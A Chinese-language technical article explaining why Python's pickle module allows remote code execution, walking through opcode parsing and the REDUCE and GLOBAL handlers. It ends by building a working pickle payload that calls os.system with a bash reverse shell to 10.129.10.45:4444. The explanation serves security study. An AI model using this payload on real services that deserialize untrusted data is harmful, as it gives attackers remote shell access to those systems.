简介:
本文用于分析Python反序列化漏洞形成原因及其他库不存在反序列化漏洞的原因。
文章目录
- 概述
- Pickle
概述
python序列化用于将python运行时对象转换为二进制数据,使得python运行时对象可以在不同平台或不同语言中通信、对象持久化存储等。Python用于序列化的包有pickle、json、Demjson等,其中json、Demjson均不存在反序列化漏洞,因此有必要分析这些包之间的差异。
Pickle
Pickle实现了用于序列化与反序列化python对象的协议,将python对象的层次结构转换为字节流,从而实现python对象的跨平台、跨语言的通信;Pickle可用于处理json数据、python自定义对象(类)等,因此pickle需要实现函数的动态创建、加载和执行;正是因为这个原因,pickle包可用于反序列化特定的二进制数据导致反序列化RCE甚至reverse shell。
Pickle通过反射的机制实现了python对象的反序列化,Pickle实现的反序列化可用于加载内置模块和调用内置函数,因此如果解析了未知来源的反序列化数据将可能导致程序被攻击,在Pickle模块的官方文档中有如下警告:1
Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Pickle序列化后的数据结构
查看序列化后的数据:1
2
3
4
5
6
7
8$ python -c "import pickle;l = [i for i in range(5)];print(pickle.dumps(l))"
(lp0
I0
aI1
aI2
aI3
aI4
a.
上述数据即为序列化后的数据,其原始二进制数据为: “(lp0\nI0\naI1\naI2\naI3\naI4\na.”
反序列化后数据解析:
- “(“代表”MARK”,表示将
object()
对象推入栈中; 此时:stack=[object()]
- “l”代表”LIST”,表示将stack的len(stack)的数据;此时:
stack=[[]]
- “p”代表”PUT”,表示p读取当前行”0\n”,并将0作为键存储stack[-1]的内容;此时:
meno[0]=[],stack=[[]]
- “I”代表”INT”, 表示将I之后的一行数据”0\n”作为int型或log型推入栈中;此时:
meno[0]=[],stack=[[],0]
- “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:
meno[0]=[],stack=[[0]]
- “I”代表”INT”,表示将I之后的一行数据”1\n”作为int型或log型推入栈中;此时:
meno[0]=[],stack=[[0],1]
- “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:
meno[0]=[],stack=[[0,1]]
- “I”代表”INT”,表示将I之后的一行数据”2\n”作为int型或log型推入栈中;此时:
meno[0]=[],stack=[[0,1],2]
- “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:
meno[0]=[],stack=[[0,1,2]]
- “I”代表”INT”,表示将I之后的一行数据”3\n”作为int型或log型推入栈中;此时:
meno[0]=[],stack=[[0,1,2],3]
- “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:
meno[0]=[],stack=[[0,1,2,3]]
- “I”代表”INT”,表示将I之后的一行数据”4\n”作为int型或log型推入栈中;此时:
meno[0]=[],stack=[[0,1,2,3],4]
- “a”代表”APPEND”,表示将stack中最后一个数据append到倒数第二个的列表中;此时:
meno[0]=[],stack=[[0,1,2,3,4]]
- “.”代表”STOP”,表示停止,将stack中的数据pop出来,然后返回;返回值为
[0,1,2,3,4]
pickle调用loads方法
pickle调用loads方法时,实际上创建了一个内存IO对象,并将该对象传递到Unpickler类中用于反序列化,代码如下:1
2
3def loads(str):
file = StringIO(str)
return Unpickler(file).load()
跟踪load方法
1 | def load(self): |
第一行,创建object()对象,用于marker()方法判断数据插入的位置;
第二行,创建stack对象,初始化为空列表,用于后续存储数据;
第三行,定义append对象,用于将数据追加到stack对象中
第四行,定义read对象,用于从文件对象中读取数据; 其中文件对象可以是磁盘文件,也可以是内存io对象;
第五行,定义反射处理程序的字典对象dispatch,用于存储各类反序列化对象的处理函数;
第6-8行,循环读取文件对象中的字符并调用对应的处理函数对数据进行处理;
第9-10行,通过自定义异常将反序列化的结果返回
pickle 生成shell
在pickle中内置了’R’对象的Reduce方法,用于从当前stack中调用可执行的方法,源码如下:1
2
3
4
5
6
7def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
value = func(*args)
stack[-1] = value
dispatch[REDUCE] = load_reduce
因此,只要构造数据保证调用”R”时stack的后两位分别是元祖格式的参数和一个可执行的方法即可,如下:1
[<...>,<built-in function system>,('/bin/sh',)]
接下来需要构造出”built-in function system”这个方法;继续查看pickle的反射函数列表,可以找到GLOBAL='c'# push self.find_class(modname,name); 2 string args
这行代码,意思是通过指定字符c及其后的字符串即可动态加载字符串代表的类,
load_global函数(c对象):1
2
3
4
5def load_global(self):
module = self.readline()[:-1]
name = self.readline()[:-1]
klass = self.find_class(module,name)
self.append(klass)
- 第一行,从当前位置读取文件的一整行并删除”\n”,作为模块名
- 第二行,从当前位置读取文件的一整行,并删除”\n”,作为模块的方法名
- 第三行,将module,name作为参数调用find_class,获取module.name方法
- 第四行,将module.name方法添加到stack的末尾
find_class函数:1
2
3
4
5
6def find_class(self,module,name):
# Subclasses may override this
__import__(module)
mod = sys.modules[module]
klass = getattr(mod,name)
return klass
- 第一行,通过
__import__
动态加载module - 第二行,通过
sys.modules[module]
获取module对应的对象mod - 第三行,通过
getattr(mod,name)
获取mod对象的方法klass - 第四行,将klass方法名返回
反序列化生成shell数据解析:
- “cos\nsystem\n”将创建os.system函数;
- “cos\nsystem\n(S’/bin/bash’”将创建os.system函数,并将字符串”/bin/bash”放入栈(list)中
- “cos\nsystem\n(S’/bin/bash’\nt”将栈(list)中的字符串”/bin/bash”转换为元祖
- “cos\nsystem\n(S’/bin/bash’\ntR”将当前栈(list)中最后一位的元祖作为参数传入倒数第二位的方法(os.system)中运行,此时成功构建bash;
- “cos\nsystem\n(S’/bin/bash’\ntR.”将停止当前反序列化过程并将栈中数据返回;
目前为止,已经成功创建了用于创建shell的反序列化数据,接下来将system函数的值替换为reverse shell的值即可生成反弹shell。数据如下:
“cos\nsystem\n(S’/bin/bash -i >& /dev/tcp/10.129.10.45/4444 0>&1’\ntR.”